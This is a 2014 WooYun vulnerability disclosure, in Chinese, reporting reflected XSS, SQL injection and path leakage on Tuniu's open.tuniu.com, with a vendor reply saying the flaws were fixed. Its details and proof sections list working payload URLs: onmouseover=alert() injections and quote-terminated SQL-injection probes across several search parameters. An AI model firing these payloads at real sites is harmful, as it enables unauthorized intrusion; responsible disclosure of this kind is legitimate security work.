漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-074434
漏洞标题：途牛旅游网之漏洞打包（SQL注入加XSS加信息泄漏）
相关厂商：途牛旅游网
漏洞作者： m1x7e1
提交时间：2014-08-30 13:09
修复时间：2014-10-13 15:03
公开时间：2014-10-13 15:03
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：16
漏洞状态：厂商已经修复
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-08-30： 细节已通知厂商并且等待厂商处理中
2014-08-30： 厂商已经确认，细节仅向厂商公开
2014-09-09： 细节向核心白帽子及相关领域专家公开
2014-09-19： 细节向普通白帽子公开
2014-09-29： 细节向实习白帽子公开
2014-10-13： 厂商已经修复漏洞并主动公开，细节向公众公开
简要描述：
求工作 :(
详细说明：
站点：http://open.tuniu.com/
XSS：参数 departDate destination
http://open.tuniu.com/search?departDate=x%22%20onmouseover%3dalert%28%29%20x=%22&destination=%E6%B3%B0%E5%9B%BD&duration=&promotionPrice=&travelType=
http://open.tuniu.com/search?departDate=11&destination=x%20%22onmouseover=alert%28%29%20x=%22&duration=&promotionPrice=&travelType=
SQL注入：参数currentPage departDate destination duration promotionPrice travelType
http://open.tuniu.com/search?currentPage=\&departDate=&destination=&duration=&promotionPrice=&travelType=
http://open.tuniu.com/search?currentPage=1&departDate=1%27&destination=&duration=&promotionPrice=&travelType=
http://open.tuniu.com/search?currentPage=1&departDate=1&destination=1%27&duration=&promotionPrice=&travelType=
http://open.tuniu.com/search?currentPage=1&departDate=1&destination=1&duration=1%27&promotionPrice=&travelType=
http://open.tuniu.com/search?currentPage=1&departDate=1&destination=1&duration=1&promotionPrice=1%27&travelType=
http://open.tuniu.com/search?currentPage=1&departDate=1&destination=1&duration=1&promotionPrice=1&travelType=1%27
路径泄漏：由sql注入造成的
http://open.tuniu.com/search?currentPage=1&departDate=1&destination=1&duration=1&promotionPrice=1&travelType=1%27
漏洞证明：
站点：http://open.tuniu.com/
XSS：参数 departDate destination
http://open.tuniu.com/search?departDate=x%22%20onmouseover%3dalert%28%29%20x=%22&destination=%E6%B3%B0%E5%9B%BD&duration=&promotionPrice=&travelType=
http://open.tuniu.com/search?departDate=11&destination=x%20%22onmouseover=alert%28%29%20x=%22&duration=&promotionPrice=&travelType=
SQL注入：参数currentPage departDate destination duration promotionPrice travelType
http://open.tuniu.com/search?currentPage=\&departDate=&destination=&duration=&promotionPrice=&travelType=
http://open.tuniu.com/search?currentPage=1&departDate=1%27&destination=&duration=&promotionPrice=&travelType=
http://open.tuniu.com/search?currentPage=1&departDate=1&destination=1%27&duration=&promotionPrice=&travelType=
http://open.tuniu.com/search?currentPage=1&departDate=1&destination=1&duration=1%27&promotionPrice=&travelType=
http://open.tuniu.com/search?currentPage=1&departDate=1&destination=1&duration=1&promotionPrice=1%27&travelType=
http://open.tuniu.com/search?currentPage=1&departDate=1&destination=1&duration=1&promotionPrice=1&travelType=1%27
路径泄漏：由sql注入造成的
http://open.tuniu.com/search?currentPage=1&departDate=1&destination=1&duration=1&promotionPrice=1&travelType=1%27
修复方案：
过滤
版权声明：转载请注明来源 m1x7e1@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：10
确认时间：2014-08-30 13:29
厂商回复：
感谢m1x7e1提交的漏洞，不涉及重要数据，网站漏洞正在修补，thanks！
最新状态：
2014-08-30：漏洞已经修补，请复查！
2014-10-13：已修复重新上线！